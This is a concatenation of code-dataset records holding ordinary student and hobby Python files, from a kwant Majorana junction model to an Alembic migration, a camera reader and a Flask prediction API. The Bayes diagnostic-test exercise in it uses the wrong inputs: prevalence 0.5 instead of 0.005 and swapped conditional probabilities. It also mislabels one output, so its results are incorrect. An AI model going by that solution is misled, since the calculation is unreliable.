description_body, description_drive_type, description_color = description.split('|')[1].split(',')[0:]\n except:\n description_body, description_drive_type, description_color = None, None, None\n\n try:\n exchange_processed = 'no' if 'не' in row[8] else 'yes'\n except:\n exchange_processed = None\n\n check_car = filtering_cars(params, title_brand, title_model, price_secondary_processed, description_year,\n description_transmission, description_engine, description_mileage,\n description_body, full_card, description_fuel, exchange_processed)\n\n if check_car:\n continue\n\n filtered_cars.append([{'card': {'id': int(card_id)},\n 'title': {'deal_type': title_deal_type, 'brand': title_brand,\n 'model': title_model},\n 'price': {'primary': price_primary_processed, 'secondary': price_secondary_processed},\n 'location': {'country': location_country, 'city': location_city,\n 'region': location_region},\n 'labels': {'labels': labels_upd_processed},\n 'comment': {'comment': comment},\n 'description': {'year': description_year, 'transmission': description_transmission,\n 'engine': description_engine, 'fuel': description_fuel,\n 'mileage': description_mileage, 'body': description_body,\n 'type': description_drive_type, 'color': description_color},\n 'exchange': {'exchange': exchange},\n 'scrap_date': {'scrap_date': scrap_date}\n }])\n\n counter += 1 # for testing\n\n end_parsing_file = time.perf_counter()\n if params.debug == 1:\n print(f'Taken time: For parsing and filtering file is '\n f'{round(end_parsing_file - start_parsing_file, 2)}s')\n\n return filtered_cars\n\n\ndef order_filtered_cars(params, filtered_cars):\n \"\"\"this function orders filtered cars\n creation date: 2023-04-08, last_update: 2023-04-17, developer: Maksym Sukhorukov\"\"\"\n\n start_ordering_filtered_file = time.perf_counter()\n\n filtered_cars_and_ordered = sorted(sorted(sorted(filtered_cars,\n key=lambda x: x[0]['description']['mileage'][0]),\n key=lambda x: x[0]['description']['year'], reverse=True),\n key=lambda x: x[0]['price']['secondary'][0])\n\n end_ordering_filtered_file = time.perf_counter()\n if params.debug == 1:\n print(f'Taken time: For ordering filtered file is '\n f'{round(end_ordering_filtered_file - start_ordering_filtered_file, 2)}s')\n\n return filtered_cars_and_ordered\n\n\ndef print_top_filtered_cars(params, filtered_cars_and_ordered):\n \"\"\"this function prints filtered and ordered cars using params\n creation date: 2023-04-17, last_update: 2023-04-17, developer: Maksym Sukhorukov\"\"\"\n\n start_printing_ordered_and_filtered_file = time.perf_counter()\n\n counter = 0\n\n if len(filtered_cars_and_ordered) > 0:\n prepared_to_print = []\n\n while counter < min(len(filtered_cars_and_ordered), int(params.max_records)):\n prepared_to_print.append([filtered_cars_and_ordered[counter][0]['title']['brand'],\n filtered_cars_and_ordered[counter][0]['title']['model'],\n str(filtered_cars_and_ordered[counter][0]['price']['secondary'][0]) + ' ' +\n filtered_cars_and_ordered[counter][0]['price']['secondary'][1],\n str(filtered_cars_and_ordered[counter][0]['description']['year']),\n filtered_cars_and_ordered[counter][0]['description']['transmission'],\n str(filtered_cars_and_ordered[counter][0]['description']['engine']),\n str(filtered_cars_and_ordered[counter][0]['description']['mileage'][0]) + ' ' +\n filtered_cars_and_ordered[counter][0]['description']['mileage'][1],\n filtered_cars_and_ordered[counter][0]['description']['body'],\n filtered_cars_and_ordered[counter][0]['description']['fuel']])\n\n counter += 1\n\n print(tabulate(prepared_to_print,\n headers=['brand', 'model', 'price', 'year', 'transmission', 'engine', 'mileage', 'body', 'fuel'],\n tablefmt='plain')) # mixed_grid\n\n end_printing_ordered_and_filtered_file = time.perf_counter()\n if params.debug == 1:\n print(f'Taken time: For printing ordered and filtered file is '\n f'{round(end_printing_ordered_and_filtered_file - start_printing_ordered_and_filtered_file, 2)}s')\n\n\ndef main():\n \"\"\"this function runs all the required functions\n creation date: 2023-04-12, last_update: 2023-04-17, developer: Maksym Sukhorukov\"\"\"\n\n start_program = time.perf_counter()\n\n params = get_args()\n\n filtered_cars = parse_and_filter_file(params)\n\n filtered_cars_and_ordered = order_filtered_cars(params, filtered_cars)\n\n print_top_filtered_cars(params, filtered_cars_and_ordered)\n\n end_program = time.perf_counter()\n if params.debug == 1:\n print(f'Taken time: For full program is {round(end_program - start_program, 2)}s')\n\n\nif __name__ == \"__main__\":\n\n main()\n\n","repo_name":"mrM0nk/data_engineer_2023","sub_path":"get_cars(python)/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":13851,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"30461808769","text":"import numpy as np\nimport kwant\nimport math\nfrom math import pi\nfrom cmath import sqrt\nimport numpy.linalg as LA\nimport scipy.sparse.linalg as sla\nimport matplotlib.pyplot as plt\n\n# =========== global variables ====================\ns0 = np.array([[1.0, 0.0], [0.0, 1.0]]); sx = np.array([[0.0, 1.0], [1.0, 0.0]]); \nsy = np.array([[0.0, -1j], [1j, 0.0]]); sz = np.array([[1.0, 0.0], [0.0, -1.0]]);\n\nt0 = np.array([[1.0, 0.0], [0.0, 1.0]]); tx = np.array([[0.0, 1.0], [1.0, 0.0]]);\nty = np.array([[0.0, -1j], [1j, 0.0]]); tz = np.array([[1.0, 0.0], [0.0, -1.0]]);\n\ntzs0 = np.kron(tz,s0); t0s0 = np.kron(t0,s0); t0sx = np.kron(t0,sx);\ntxs0 = np.kron(tx,s0); tzsy = np.kron(tz,sy); t0sz = np.kron(t0,sz);\n\ndef NSjunction(args_dict):\n t = args_dict['t'];\n alpha = args_dict['alpha'];\n Vz = args_dict['Vz'];\n Delta_0 = args_dict['Delta_0'];\n mu = args_dict['mu'];\n mu_lead = args_dict['mu_lead'];\n wireLength = args_dict['wireLength'];\n Nbarrier = args_dict['Nbarrier'];\n Ebarrier = args_dict['Ebarrier'];\n gamma = args_dict['gamma'];\n lamd=args_dict['lamd'];\n voltage=args_dict['voltage'];\n \n #========= set-up of NS-junction =========\n junction = kwant.Builder(); a=1; # Lattice constant\n lat = kwant.lattice.chain(a); \n\n for x in range(wireLength):\n junction[ lat(x) ] = (2*t - mu)*tzs0 + Vz*t0sx + Delta_0*txs0 - 1j*gamma*t0s0; \n\n if args_dict['varymu']=='yes':\n mu1=args_dict['mu1']\n mu2=args_dict['mu2']\n uncoverLength=args_dict['uncoverLength']\n mus=np.linspace(mu1,mu2,wireLength)\n for x in range(wireLength):\n junction[ lat(x) ] = (2*t -mus[x])*tzs0 + Vz*t0sx + Delta_0*txs0 - 1j*gamma*t0s0\n for x in range(uncoverLength):\n junction[ lat(x) ] = (2*t -mus[x])*tzs0 + Vz*t0sx - 1j*gamma*t0s0\n\n if args_dict['SE'] == 'yes':\n SelfE=np.sign(voltage-Delta_0)*lamd*(voltage*t0s0+Delta_0*txs0)/sqrt(Delta_0**2-voltage**2+1e-9j)\n for x in range(wireLength):\n junction[ lat(x) ] = (2*t - mu)*tzs0 + Vz*t0sx+SelfE - 1j*gamma*t0s0;\n\t\n if args_dict['QD'] == 'yes':\n dotLength = args_dict['dotLength'];\n VD = args_dict['VD'];\n for x in range(0,dotLength):\n junction[ lat(x) ] = (2*t - mu + VD*np.cos(1.5*pi*(x)/dotLength) )*tzs0 + Vz*t0sx;\n\t\n if args_dict['QD2'] == 'yes': #Quantum Dot away from the lead.\n dotLength = args_dict['dotLength'];\n VD = args_dict['VD'];\n for x in range(0,dotLength):\n junction[ lat(wireLength - x) ] = (2*t - mu + VD*np.cos(1.5*pi*(x)/dotLength) )*tzs0 + Vz*t0sx;\n \n for x in range(Nbarrier):\n junction[ lat(x) ] = (2*t - mu + Ebarrier)*tzs0 + Vz*t0sx;\n \n for x in range( 1, wireLength ):\n junction[ lat(x-1), lat(x) ] = -t*tzs0 - 1j*alpha*tzsy;\n \n symLeft = kwant.TranslationalSymmetry([-a]);\n lead = kwant.Builder(symLeft);\n lead[ lat(0) ] = (2*t - mu_lead)*tzs0 + Vz*t0sx;\n lead[ lat(0), lat(1) ] = -t*tzs0 - 1j*alpha*tzsy;\n junction.attach_lead(lead);\n junction = junction.finalized();\n \n return junction;\n\ndef conductance(args_dict):\n voltage = args_dict['voltage'];\n junction = NSjunction(args_dict);\n S_matrix = kwant.smatrix(junction, voltage, check_hermiticity=False);\n R = S_matrix.submatrix(0,0); \n \n G = 2.0;\n for (i,j) in [(0,0),(0,1),(1,0),(1,1)]:\n G = G - abs(R[i,j])**2 + abs(R[2+i,j])**2; ##\n\n return G;\n\ndef QuantumDot(args_dict):\n t = args_dict['t'];\n Vz = args_dict['Vz'];\n mu = args_dict['mu'];\n dotLength = args_dict['dotLength'];\n VD = args_dict['VD'];\n Dot = kwant.Builder(); a=1; # Lattice constant\n lat = kwant.lattice.chain(a); \n for x in range(0,dotLength):\n Dot[ lat(x) ] = (2*t - mu + VD*np.cos(1.5*pi*(x)/dotLength) )*tzs0 + Vz*t0sx;\n Dot = Dot.finalized();\n \n return Dot;\n\ndef QuantumDot2(t=25, Vz=1, mu=0, dotLength = 30, VD = 4):\n Dot = kwant.Builder(); a=1; # Lattice constant\n lat = kwant.lattice.chain(a); \n for x in range(0,dotLength):\n Dot[ lat(x) ] = (2*t - mu + VD*np.cos(1.5*pi*(x)/dotLength) )*tzs0 + Vz*t0sx; \n \n return Dot;\n\ndef TV(args_dict):\n args_dict['voltage'] = 0.0; \n junction = NSjunction(args_dict);\n \n S_matrix = kwant.smatrix(junction, args_dict['voltage'], check_hermiticity=False);\n R = S_matrix.submatrix(0,0); # \"0\" for The first lead index\n tv0 = LA.det(R);\n basis_wf = S_matrix.lead_info[0].wave_functions; # 'lead_info[i].wave_functions' contains the wavefunctions of the propagating modes in lead \"i\"\n \n normalize_dict = {0:0,1:0,2:3,3:3,4:0,5:0,6:3,7:3}\n phase_dict = {};\n \n for n in range(8):\n m = normalize_dict[n];\n phase_dict[n]= (-1)**m*basis_wf[m,n]/abs(basis_wf[m,n]); ##\n \n tv = tv0*np.conjugate(phase_dict[0]*phase_dict[1]*phase_dict[2]*phase_dict[3])*phase_dict[4]*phase_dict[5]*phase_dict[6]*phase_dict[7] ;\n \n return tv\n\ndef plot_spectrum(syst, VzRange):\n energies = []\n for Vz in VzRange:\n ham_mat = syst.hamiltonian_submatrix(args=[Vz], sparse=True)\n ev = sla.eigsh(ham_mat, k =15, which='SM', return_eigenvectors=False)\n energies.append(ev)\n \n plt.figure()\n plt.plot(VzRange, energies)\n plt.xlabel(\"Vz\")\n plt.ylabel(\"energy [t]\")\n plt.show()\n","repo_name":"pauline610697/Majorana-nonlocal-correlation","sub_path":"TwoQD_module_2.py","file_name":"TwoQD_module_2.py","file_ext":"py","file_size_in_byte":5479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"11138435867","text":"\"\"\"\nA diagnostic test has a probability 0.95 of giving a positive result when applied to a person suffering\nfrom a certain disease, and a probability 0.10 of giving a (false) positive when applied to a non-sufferer. It is\nestimated that 0.5 % of the population are sufferers. Suppose that the test is now administered to a person about\nwhom we have no relevant information relating to the disease (apart from the fact that he/she comes from this\npopulation). Calculate the following probabilities:\n(a) that the test result will be positive;\n(b) that, given a positive result, the person is a sufferer;\n(c) that, given a negative result, the person is a non-sufferer;\n(d) that the person will be misclassified.\n\n\"\"\"\n\nprob_positive_given_suffering = 0.95\nprob_negative_given_suffering = 0.10\n\nprob_positive_given_not_suffering = 0.9\nprob_negative_given_not_suffering = 0.05\n\nprob_suffering = 0.5\nprob_not_suffering = 0.5\n\nprob_positive = prob_suffering * prob_positive_given_suffering + prob_not_suffering * prob_positive_given_not_suffering\nprint(\"probability of getting positive result \", prob_positive)\n\n\nprob_negative = prob_suffering * prob_negative_given_suffering + prob_not_suffering * prob_negative_given_not_suffering\nprob_suffering_given_positive = (prob_suffering * prob_positive_given_suffering) / prob_positive\nprint(\"Probability of negative result \", prob_suffering_given_positive)\n\nprob_not_suffering_given_negative = (prob_not_suffering * prob_negative_given_not_suffering) / prob_negative\nprint(\"Probability of not suffering when result is negative \", prob_not_suffering_given_negative)\n\nprob_misclassified = (prob_not_suffering * prob_positive_given_not_suffering) + (prob_not_suffering * prob_negative_given_not_suffering)\nprint(\"probability of getting misclassified result \",prob_misclassified)","repo_name":"Vijendrapratap/Machine-Learning","sub_path":"Week3/Probability/23.WAP to find probabilty of having some diseases.py","file_name":"23.WAP to find probabilty of having some diseases.py","file_ext":"py","file_size_in_byte":1813,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"73245666405","text":"import os\nimport pprint\n\npp = pprint.PrettyPrinter()\n\nfc = {}\ndef get_tree(path):\n files = os.listdir(path)\n d={}\n for f in files:\n if os.path.isdir(f):\n d[f] = get_tree(f)\n else:\n d[f] = \"\"\n return d\n\npp.pprint(get_tree('.'))\n","repo_name":"digikar99/iitb-cs251-2018-CodeWarriors","sub_path":"project/Archives/get_tree.py","file_name":"get_tree.py","file_ext":"py","file_size_in_byte":275,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"26871479309","text":"\"\"\"fix favorite playlists table\n\nRevision ID: 80ca5cf7ccc3\nRevises: 5c1bf26c4313\nCreate Date: 2022-05-23 16:18:58.064207\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = \"80ca5cf7ccc3\"\ndown_revision = \"5c1bf26c4313\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n op.drop_table(\"playlist_favorites_association\")\n op.create_table(\n \"playlist_favorite_association\",\n sa.Column(\n \"user_id\",\n sa.String,\n sa.ForeignKey(\"users.id\", onupdate=\"CASCADE\"),\n primary_key=True,\n ),\n sa.Column(\n \"playlist_id\",\n sa.Integer,\n sa.ForeignKey(\"playlists.id\", onupdate=\"CASCADE\"),\n primary_key=True,\n ),\n )\n\n\ndef downgrade():\n op.drop_table(\"playlist_favorite_association\")\n op.create_table(\n \"playlist_favorites_association\",\n sa.Column(\n \"user_id\",\n sa.String,\n sa.ForeignKey(\"users.id\", onupdate=\"CASCADE\"),\n primary_key=True,\n ),\n sa.Column(\n \"playlist_id\",\n sa.Integer,\n sa.ForeignKey(\"playlists.id\", onupdate=\"CASCADE\"),\n primary_key=True,\n ),\n )\n","repo_name":"taller2-grupo5-rostov-1c2022/songs-server","sub_path":"alembic/versions/80ca5cf7ccc3_fix_favorite_playlists_table.py","file_name":"80ca5cf7ccc3_fix_favorite_playlists_table.py","file_ext":"py","file_size_in_byte":1266,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"2261578349","text":"# The goal of this program is to find the best x that best satisfies the equation ax = b given certain constraints on x (e.g., that x-values can only be in certain ranges).\n\nfrom numpy import array, dot, reshape, shape, sum\nfrom numpy.random import random\nfrom scipy.optimize import minimize\n\nfrom pyds import (\n flatten,\n isATensor,\n containsOnlyNumbers,\n isAPandasDataFrame,\n isANumber,\n isANumpyArray,\n isIterable,\n leastSquares,\n)\n\n\ndef random_in_range(rmin, rmax):\n assert isANumber(rmin), \"`rmin` must be a number!\"\n assert isANumber(rmax), \"`rmax` must be a number!\"\n return random() * (rmax - rmin) + rmin\n\n\ndef flatten_to_tuples(x):\n assert isATensor(x), \"`x` must be a tensor!\"\n x_flat = flatten(x)\n return reshape(x_flat, [len(x_flat) // 2, 2])\n\n\ndef least_squares_with_bounds(a, b, bounds=None):\n aErrorMessage = \"`a` must be a tensor that contains only numbers!\"\n bErrorMessage = \"`b` must be a tensor that contains only numbers!\"\n\n assert isATensor(a), aErrorMessage\n assert containsOnlyNumbers(a), aErrorMessage\n assert isATensor(b), bErrorMessage\n assert containsOnlyNumbers(b), bErrorMessage\n\n if isAPandasDataFrame(a):\n a = a.values\n\n if not isANumpyArray(a):\n a = array(a)\n\n if isAPandasDataFrame(b):\n b = b.values\n\n if not isANumpyArray(b):\n b = array(b)\n\n if bounds is not None:\n bounds_error_message = \"`bounds` must be an array of tuples where each tuple is a pair of minimum and maximum values!\"\n\n assert isIterable(bounds), bounds_error_message\n bounds = flatten_to_tuples(bounds)\n\n for item in bounds:\n assert len(item) == 2, bounds_error_message\n assert containsOnlyNumbers(item), bounds_error_message\n\n assert (\n item[0] <= item[1]\n ), \"Each `bounds` tuple must be in the form `(min, max)`!\"\n\n x_shape = [a.shape[1], b.shape[1]]\n\n # ax = b\n # objective = sum((ax - b)^2)\n def objective(x_flat):\n return sum((dot(a, reshape(x_flat, x_shape)) - b) ** 2)\n\n # gradient = d/d_x of objective\n # = d/d_x of sum((ax - b)^2)\n # = 2 * a * (ax - b)\n def gradient(x_flat):\n return flatten(2 * dot(a.T, (dot(a, reshape(x_flat, x_shape)) - b)))\n\n # if there are no bounds, then just return OLS(a, b)\n if bounds is None:\n return leastSquares(a, b)\n\n # otherwise, set up x_init to fall within bounds (and to be flattened!)\n else:\n x_init = []\n\n for bound in bounds:\n x_init.append(random_in_range(bound[0], bound[1]))\n\n results = minimize(\n objective,\n x_init,\n args=(),\n method=\"TNC\",\n jac=gradient,\n bounds=bounds,\n tol=None,\n callback=None,\n options={\n \"accuracy\": 0,\n \"eps\": 1e-08,\n \"eta\": -1,\n \"finite_diff_rel_step\": None,\n \"ftol\": -1,\n \"gtol\": -1,\n \"maxCGit\": -1,\n \"maxfun\": None,\n \"mesg_num\": None,\n \"minfev\": 0,\n \"offset\": None,\n \"rescale\": -1,\n \"scale\": None,\n \"stepmx\": 0,\n \"xtol\": -1,\n },\n )\n\n return reshape(results.x, x_shape)\n","repo_name":"jrc03c/least-squares-with-bounds","sub_path":"least_squares_with_bounds/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"16571132972","text":"import asyncio\nimport logging\nfrom typing import Optional, List\n\nfrom aiohttp import ClientSession, ClientResponseError\nfrom tenacity import retry, stop_after_attempt, wait_incrementing, retry_if_exception_type\n\nfrom api.external_service.config import ClientConfig\nfrom api.models.base import Movie\nfrom api.models.external import SearchMovies\n\nclient_config = ClientConfig(base_url='http://www.omdbapi.com/', timeout=10, api_key='e6f034a9')\n\n\nclass MovieServiceError(Exception):\n pass\n\n\nclass MovieClient:\n def __init__(self, config: ClientConfig = client_config):\n self._config = config\n\n async def search_movies(self, search: str) -> List[Movie]:\n path = ''\n params = {'s': search}\n response = await self._request(method='GET', path=path, params=params)\n search_movies = SearchMovies.from_dict(response)\n if search_movies.Error:\n raise MovieServiceError(search_movies.Error)\n return (SearchMovies.from_dict(response)).Search\n\n @retry(stop=stop_after_attempt(3), wait=wait_incrementing(increment=3, max=30),\n retry=retry_if_exception_type(asyncio.TimeoutError))\n async def _request(self,\n method: str,\n path: str,\n params: Optional[dict] = None,\n data: Optional[dict] = None) -> dict:\n async with ClientSession() as client:\n url = f'{self._config.base_url}{path}'\n params.update({'apikey': self._config.api_key})\n response = await client.request(method=method, url=url, params=params, data=data,\n timeout=self._config.timeout)\n return await self._handle_response(response)\n\n @staticmethod\n async def _handle_response(resp) -> dict:\n if resp.status >= 300:\n response = await resp.text()\n logging.warning(f'Request failed, got response: {response}', extra={'url': resp.url, 'status:': resp.status,\n 'reason': resp.reason})\n raise ClientResponseError(resp.request_info, resp.history, status=resp.status, message=resp.reason)\n return await resp.json()\n","repo_name":"RoeyBa5/movie_service","sub_path":"api/external_service/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":2249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"39848095616","text":"from django.test import TestCase\nfrom .models import Product\nfrom django.contrib.auth.models import User\n\n\nclass TestProductsModel(TestCase):\n\n def test_create_product(self):\n product = Product(name='Test Product',\n description='Some test content.')\n self.assertEqual(product.name, 'Test Product')\n self.assertEqual(product.description, \"Some test content.\")\n self.assertFalse(product.image)\n self.assertFalse(product.price)\n","repo_name":"hschafer2017/PCSwimming","sub_path":"products/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":488,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"73697265764","text":"\ndef read_file(filename):\n\tlines = []\n\twith open(filename, 'r', encoding = 'utf-8-sig') as f:\n\t\tfor line in f:\n\t\t\tlines.append(line.strip())\t#.strip把換行符號給去掉。\n\treturn lines\n\ndef convert(lines):\n\n\tperson = None\t\t\t\t#訂義person 為None 就是沒有值但它存在。\n\tallen_word_count = 0\n\tallen_sticker_count = 0\n\tallen_image_count = 0\n\tviki_word_count = 0\n\tviki_sticker_count = 0\n\tviki_image_count = 0\n\tfor line in lines:\n\t\ts = line.split(' ')\t\t#split 就是字串的切割,(' ')括號內的空格就是遇到空客就切一刀, = s 就是將它存成清單。\n\t\ttime = s[0]\n\t\tname = s[1]\n\t\tif name == 'Allen':\n\t\t\tif s[2] == '貼圖':\n\t\t\t\tallen_sticker_count += 1\n\t\t\telif s[2] == '圖片':\n\t\t\t\tallen_image_count += 1\n\t\t\telse:\n\t\t\t\tfor msg in s[2:]:\n\t\t\t\t\tallen_word_count += len(msg)\t\t# += 意思是指 allen_word_count=allen_word_count + len(msg)\n\t\telif name == 'Viki':\n\t\t\tif s[2] == '貼圖':\n\t\t\t\tviki_sticker_count += 1\n\t\t\telif s[2] == '圖片':\n\t\t\t\tviki_image_count +=1\n\t\t\telse:\n\t\t\t\tfor msg in s[2:]:\n\t\t\t\t\tviki_word_count += len(msg)\n\tprint('Allen說了', allen_word_count)\n\tprint('Allen傳了', allen_sticker_count, '個貼圖')\n\tprint('Allen傳了', allen_image_count, '張圖片' )\n\tprint('Viki說了', viki_word_count)\n\tprint('Viki傳了', viki_sticker_count, '個貼圖')\n\tprint('Viki傳了', viki_image_count, '張圖片')\n\n\t\t\n\ndef write_file(filename, lines):\n\twith open(filename, 'w')as f:\n\t\tfor line in lines:\n\t\t\tf.write(line + '\\n')\n\ndef main():\n\tlines = read_file('[LINE]Viki.txt')\n\tlines = convert(lines)\n\t# write_file('output.txt', lines)\n\nmain()\n","repo_name":"yichang1983/chat","sub_path":"r2.py","file_name":"r2.py","file_ext":"py","file_size_in_byte":1594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"5236651276","text":"# Import Libraries\n# from numpy import *\n# import time\nimport cv2\nfrom harvesters.core import Buffer, Harvester\n\n# Set width, height and pixel format of frame if you know the details.\nWIDTH = 720 # Image buffer width as per the camera output\nHEIGHT = 540 # Image buffer height as per the camera output\nPIXEL_FORMAT = \"BGR8\" # Camera pixel format as per the camera output\n\n\ndef get_gige_vision_frames():\n h = Harvester()\n h.add_file(\n \"/opt/mvIMPACT_Acquire/lib/x86_64/mvGenTLProducer.cti\") # Add path to mvGenTLProducer.cti\n # h.files\n h.update()\n print(h.device_info_list)\n # while True:\n # dic = {}\n frames = []\n for i in range(len(h.device_info_list)):\n print(i)\n io = h.create_image_acquirer(i)\n io.remote_device.node_map.Width.value = WIDTH\n io.remote_device.node_map.Width.value = WIDTH\n io.remote_device.node_map.PixelFormat.value = PIXEL_FORMAT\n # io.remote_device.node_map.AcquisitionFrameRate.value = fps # Set if required\n io.start_acquisition()\n\n frame = []\n i = 0\n Buffer = io.fetch_buffer(timeout=-1)\n component = Buffer.payload.components[0]\n # print(component.width)\n if component.width == 720: # To make sure the correct size frames are passed for converting\n original = component.data.reshape(540, 720, 3)\n img = original.copy() # To prevent isues due to buffer queue\n\n # cv2.imshow(\"cam\"+str(i), img)\n frame = img\n # cv2.waitKey(1)\n # cv2.imwrite('img.png', img)\n # out.write(cv2.resize(img, (720, 540, 3)))\n Buffer.queue()\n # time.sleep(0.03)\n i += 1\n else:\n i += 1\n # dic[i] = frame\n frames.append(frame)\n io.stop_acquisition()\n io.destroy()\n # h.reset()\n # cv2.destroyAllWindows()\n\n # return dic\n print(frames)\n return frames \n\n\n\nprint(get_gige_vision_frames())","repo_name":"abdullahchand/movrs_application","sub_path":"camera_module/GigeVisionReader.py","file_name":"GigeVisionReader.py","file_ext":"py","file_size_in_byte":2012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"3998317759","text":"#Install Libraries\r\nfrom flask import Flask, request, jsonify\r\nimport joblib\r\nimport traceback\r\nimport pandas as pd\r\nimport numpy as np\r\napplication = Flask(__name__)\r\n@application.route('/prediction', methods=['POST'])\r\n#define function\r\ndef predict():\r\n if xgboost:\r\n try:\r\n json_ = request.json\r\n print(json_)\r\n query = pd.get_dummies(pd.DataFrame(json_))\r\n query = query.reindex(columns=xgboost_columns, fill_value=0)\r\n test_keys = ['OPERA_Aerolineas Argentinas', 'OPERA_Aeromexico', 'OPERA_Air Canada', 'OPERA_Air France', 'OPERA_Alitalia', 'OPERA_American Airlines', 'OPERA_Austral', 'OPERA_Avianca', 'OPERA_British Airways', 'OPERA_Copa Air', 'OPERA_Delta Air', 'OPERA_Gol Trans', 'OPERA_Grupo LATAM', 'OPERA_Iberia', 'OPERA_JetSmart SPA', 'OPERA_K.L.M.', 'OPERA_Lacsa', 'OPERA_Latin American Wings', 'OPERA_Oceanair Linhas Aereas', 'OPERA_Plus Ultra Lineas Aereas', 'OPERA_Qantas Airways', 'OPERA_Sky Airline', 'OPERA_United Airlines', 'TIPOVUELO_I', 'TIPOVUELO_N', 'MES_1', 'MES_2', 'MES_3', 'MES_4', 'MES_5', 'MES_6', 'MES_7', 'MES_8', 'MES_9', 'MES_10', 'MES_11', 'MES_12']\r\n test_values = [0]*len(test_keys)\r\n print(test_keys, test_values)\r\n res = {test_keys[i]: test_values[i] for i in range(len(test_keys))}\r\n \r\n for i in json_:\r\n aux = res\r\n for k, v in i.items():\r\n llave = f\"{k}_{v}\"\r\n aux[llave] = 1\r\n \r\n valor = pd.DataFrame(aux.items())\r\n valor = valor.T\r\n valor.columns = valor.iloc[0]\r\n valor = valor.drop(0)\r\n valor = valor.apply(pd.to_numeric)\r\n \r\n predict = list(xgboost.predict(valor))\r\n return jsonify({'prediction': str(predict)})\r\n except:\r\n return jsonify({'trace': traceback.format_exc()})\r\n else:\r\n print ('Model not good')\r\n return ('Model is not good')\r\nif __name__ == '__main__':\r\n try:\r\n port = int(sys.argv[1])\r\n except:\r\n port = 12345 \r\n xgboost = joblib.load(\"xgboost.pkl\") \r\n print ('Model loaded')\r\n xgboost_columns = joblib.load(\"xgboost_columns.pkl\") # Load \"xgboost_columns.pkl\"\r\n print ('Model columns loaded')\r\n application.run(port=port, debug=True)","repo_name":"sebebecerra/desafio","sub_path":"xgboostapi.py","file_name":"xgboostapi.py","file_ext":"py","file_size_in_byte":2361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"13848777560","text":"import requests\nimport logging\n\n# Set up logging\nlogging.basicConfig(filename='logs.log', level=logging.INFO)\n\n# Decorator to check the success of API responses\ndef check_api_response(func):\n def wrapper(*args, **kwargs):\n response = func(*args, **kwargs)\n if isinstance(response, requests.Response) and response.status_code != 200:\n logging.error(f'API request {func.__name__} failed with status code {response.status_code}')\n elif isinstance(response, dict) and not response:\n logging.error(f'API request {func.__name__} failed with empty response')\n return response\n return wrapper\n\n@check_api_response\ndef get_db(endpoint):\n headers = {\"Connection\": \"keep-alive\", \"cache-control\": \"no-cache\", \"accept-encoding\": \"gzip, deflate\"}\n response = requests.get(endpoint, headers=headers)\n logging.info(f\"Request: {endpoint}\")\n logging.info(f\"Response: {response.status_code}{response.text}\")\n return response\n\n\n@check_api_response\ndef add_zone(endpoint):\n headers = {\"Content-Type\": \"application/json\", \"Connection\": \"keep-alive\",\n \"cache-control\": \"no-cache\", \"accept-encoding\": \"gzip, deflate\"}\n params = {\n \"id\": 11111,\n \"zone\": \"intersitial\",\n \"type\": \"interstitial_rewarded_video\"\n }\n response = requests.post(endpoint, headers=headers, json=params, verify=True)\n logging.info(f\"Request: {endpoint}\")\n logging.info(f\"Response: {response.status_code}{response.text}\")\n return response\n\n\nif __name__ == '__main__':\n get_db(\"https://my-json-server.typicode.com/IlyaKnysh/fake_db/db\")\n add_zone(\"https://my-json-server.typicode.com/IlyaKnysh/fake_db/ad_zones\")\n","repo_name":"kirilaf78/task_8_Selene","sub_path":"my_task_8.py","file_name":"my_task_8.py","file_ext":"py","file_size_in_byte":1692,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"74751840165","text":"from datetime import date\n\n\ndef days_diff(a: tuple, b: tuple) -> int:\n date_a = date(*a)\n date_b = date(*b)\n result = (date_b - date_a).days\n return abs(result)\n\n\nif __name__ == \"__main__\":\n # print(\"Example:\")\n # print(days_diff((1982, 4, 19), (1982, 4, 22)))\n\n # These \"asserts\" are used for self-checking and not for an auto-testing\n assert days_diff((1982, 4, 19), (1982, 4, 22)) == 3\n assert days_diff((2014, 1, 1), (2014, 8, 27)) == 238\n assert days_diff((2014, 8, 27), (2014, 1, 1)) == 238\n print(\"Coding complete? Click 'Check' to earn cool rewards!\")\n","repo_name":"algot/checkio","sub_path":"src/01_home/days_diff.py","file_name":"days_diff.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"25008721471","text":"import streamlit as st\nimport plotly.express as px\nimport pandas as pd\n\n# Basic setup and app layout\nst.set_page_config(layout=\"wide\")\nst.title(\"Spaceloot Dashboard\")\n\n# flipside crypto queries\ntransactions_hash = \"0e1550c8-3724-4d93-84e5-76b68b3956d4\"\nclaim_hash = \"9485d2f6-010b-4b06-952e-8dcfc265da53\"\n\n# load claims into df\ndf_claim = pd.read_json(\n f\"https://api.flipsidecrypto.com/api/v2/queries/{claim_hash}/data/latest\",\n convert_dates=[\"BLOCK_TIMESTAMP\"],\n)\ndf_claim = (\n df_claim[[\"SENDER\", \"TX_STATUS\"]]\n .groupby(\"SENDER\", 